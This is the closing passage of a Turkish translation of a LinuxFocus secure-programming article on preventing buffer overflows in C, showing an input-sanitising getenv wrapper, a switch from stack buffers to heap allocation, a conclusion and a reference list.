GOOD "abcdefghijklmnopqrstuvwxyz\ BCDEFGHIJKLMNOPQRSTUVWXYZ\ 1234567890_" char *my_getenv(char *var) { char *data, *ptr /* Getting the data */ data = getenv(var); /* Filtering Rem : obviously the replacement character must be in the list of the allowed ones !!! */ for (ptr = data; *(ptr += strspn(ptr, GOOD));) *ptr = '_'; return data; } </pre> <p> <code>strspn()</code> fonksiyonu bunu kolaylaştırır: ilk karakter gibi görünür,özel bir boşluğa sahip bir karakter gibi değil.Sadece gerçe karakterleri tutarak karakter dizisi uzunluğunu geri gönderir(0 dan başlayarak).Yasaklana karakterlerin belirtildiğinden ve hiçbirinin yazıda bulunmadığı kontrol edildiğinden beri <code>strcspn</code> fonksiyonun karşı bir fonksiyon olduğunu unutmamak gerekir. <A NAME="190lfindex6"> </A> <H2>Dİnamik Bellek Alanı Kullanımı</H2> <P> Bellek alanındaki taşmalar, tekrar yazmayı içeren kısma(taşmanın olduğu kısım) güvenir sanki fonksiyonun adresini geri gönderiyormuş gibi.Etki otomatik veri ile ilgilidir,sadece o kısmın içinde tahsis edilmiştir.Bu problemi kaldırmanın bir yolu,o kısımda sağlanan karakter tablolarını <EM>heap</EM>'de bulunan dinamik değişkenler ile yerdeğiştirmektir. Bunu yapmak için,sırası ile şunları yerdeğiştirmek gerekir: <PRE> #define LG_STRING 128 int fonction (...) { char chaine [LG_STRING]; ... return (result); } </PRE> with : <PRE> #define LG_STRING 128 int fonction (...) { char *string = NULL; if ((string = malloc (LG_STRING)) == NULL) return (-1); memset(string,'\0',LG_STRING); [...] free (string); return (result); } </PRE> Bu satırlar, kodu fazla üretir ve hafıza sızıntıları meydana getirir,fakat,yaklaşımı azaltmak ve sınır uzunluk dğerlerini zorlamayı engellemek için bu değişikliklerin avantajına sahip olmalıyız.<CODE>alloca()</CODE> fonksiyonu ile daha kolay bir yol kullanmak ile aynı sonucu vermeyeceğini düşünün.Bu,taşmanın olduğu yerde son olarak bir veri tahsis edecektir ve otomatik değişkenlerdeki gibi aynı problemi doğuracaktır.<CODE>memset()</CODE> ile hafızayı 0' almak, başa alınmamış değişkenler değşkenlerin kullanımı ile ilgili bazı problemlerden sakınmaya izin verecektir.Bütün bunlar,konuyu "Heap overflows from w00w00" konulu makaleye taşıyacaktır. <P> Son olarak,bazı durumlarda,güvenlik çukurunu baştan kolayca defetmek,hafıza bildiriminden önce <CODE>static</CODE> açkı sözcüğünü yerleştirmek ile mümkündür.Bu,işlem yığınından uzak veri bölümünde sağlanmuştır.Kabuğa sahip olmak imkansızdır fakat DoS problemi hala mevcuttur.Tabii ki,yöntem tekrarlanırsa bu çalışmaz.Bu "ilaç",fazla kod değiştirmeye gerek kalmadan acil gereksinim durumunda güvenlik çukuruna geçici bir çözüm olmalıdır. <H1>Sonuç</H1> Umarız,bellekte taşmanın bu anlatımı,sizin daha güvenli programlar yazmanızı sağlayacaktır.Taşma tekniği mekanizmayı iyi anlamayı gerektiriyorsa,genel prensip başarılabilir.Diğer yandan, gerekenleri yerine getirmek zor değildir.Unutmayınız ki,daha sonra kabul edilir bir zamanda güvenlik programı yazmak daha hızlı olacaktır.Buna, <em>format bugs</em> konulu bir sonraki makalemizde değineceğiz. <H1>İlişiklendirmeler</H1> <ul> <li>Christophe Blaess page : <a href="http://perso.club-internet.fr/ccb/">perso.club-internet.fr/ccb/</a> <li>Christophe Grenier page : <a href="http://www.esiea.fr/public_html/Christophe.GRENIER/">www.esiea.fr/public_html/Christophe.GRENIER/</a> <li>Frédéric Raynal page : <a href="http://www-rocq.inria.fr/~raynal/">www-rocq.inria.fr/~raynal/</a> <li>Phrack Magazine : <a href="http://phrack.infonexus.com/">phrack.infonexus.com/</a>. <li>Heap overflow : <a href="http://www.w00w00.org/files/articles/heaptut.txt">www.w00w00.org/files/articles/heaptut.txt</a> </ul> <p> <hr> <!-- 2pdaIgnoreStart --> <A NAME="talkback"> </a> <h2>Bu yazı için görüş bildiriminde bulunabilirsiniz</h2> Her yazı kendi görüş bildirim sayfasına sahiptir. Bu sayfaya yorumlarınızı yazabilir ve diğer okuyucuların yorumlarına bakabilirsiniz. <center> <table border="0" CELLSPACING="2" CELLPADDING="1"> <tr BGCOLOR="#C2C2C2"><td align=center> <table border="3" CELLSPACING="2" CELLPADDING="1"> <tr BGCOLOR="#C2C2C2"><td align=center> <A href="http://cgi.linuxfocus.org/cgi-bin/lftalkback?anum=190&lang=en"><b> talkback page </b></a> </td></tr></table> </td></tr></table> </center> <HR size="2" noshade> <!-- ARTICLE FOOT --> <CENTER><TABLE WIDTH="95%"> <TR><TD ALIGN=CENTER BGCOLOR="#9999AA"> <A HREF="../../common/lfteam.html">Görselyöre sayfalarının bakımı, LinuxFocus Editörleri tarafından yapılmaktadır</A> <BR><FONT COLOR="#FFFFFF">© Frédéric Raynal, Christophe Blaess, Christophe Grenier, <a href="../../common/copy.html">FDL</a> <BR><a href="http://www.linuxfocus.org">LinuxFocus.org</a></FONT> <BR><a href="http://cgi.linuxfocus.org/cgi-bin/lfcomment?lang=tr&article=article190.shtml" target="_TOP">Burayı klikleyerek hataları rapor edebilir ya da yorumlarınızı LinuxFocus'a gönderebilirsiniz</A><BR></TD> <TD BGCOLOR="#9999AA"><!-- TRANSLATION INFO --> <font size=2>Çeviri bilgisi:</font><TABLE> <tr><td><font size=2>fr</font></td> <td><font size=2>-></font></td> <td><font size=2>--</font></td> <td><font size=2><a href="mailto:pappy@users.sourceforge.net,ccb@club-internet.fr,grenier@nef.esiea.fr"><FONT COLOR="#FFFFFF"> Frédéric Raynal, Christophe Blaess, Christophe Grenier</FONT></a></font></td> </tr> <tr><td><font size=2>fr</font></td> <td><font size=2>-></font></td> <td><font size=2>en</font></td> <td><font size=2><a href="mailto:georges.t@linuxfocus.org"><FONT COLOR="#FFFFFF">Georges Tarbouriech</FONT></a></font></td> </tr> <tr><td><font size=2>en</font></td> <td><font size=2>-></font></td> <td><font size=2>tr</font></td> <td><font size=2><a href="mailto:mumcuoglt@saneg.itu.edu.tr"><FONT COLOR="#FFFFFF">Nur Mumcuoğlu</FONT></a></font></td> </tr> </TABLE></TD> </TR></TABLE></CENTER> <p><font size=1>2001-08-03, generated by lfparser version 2.17</font></p> <!-- 2pdaIgnoreStop --> </BODY> </HTML>